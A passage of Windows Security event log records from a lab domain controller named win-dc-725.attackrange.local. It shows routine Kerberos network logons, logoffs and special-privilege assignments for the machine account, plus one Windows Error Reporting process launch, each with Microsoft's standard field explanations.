The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248805
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4D55

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248804
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4CE0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248803
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC4CE0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64038

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248802
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4CE0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248826
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd6c
	New Process Name:	C:\Windows\System32\wermgr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wermgr.exe -upload

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248825
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC62C8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248824
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC62C8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64045

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248823
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC62C8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248822
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC6255

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248821
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC6255
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64044

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248820
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC6255

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248819
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC61D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248818
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC61D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64043

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248817
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC61D9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248816
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC6164

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248815
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC6164
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64042

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248814
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC6164

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248838
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7C6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248837
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7C6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64049

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248836
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7C6D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248835
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7C0A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248834
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7C0A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64048

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248833
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7C0A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248832
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7BA2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248831
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7BA2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64047

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248830
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7BA2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248829
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC7B41

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248828
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC7B41
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64046

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

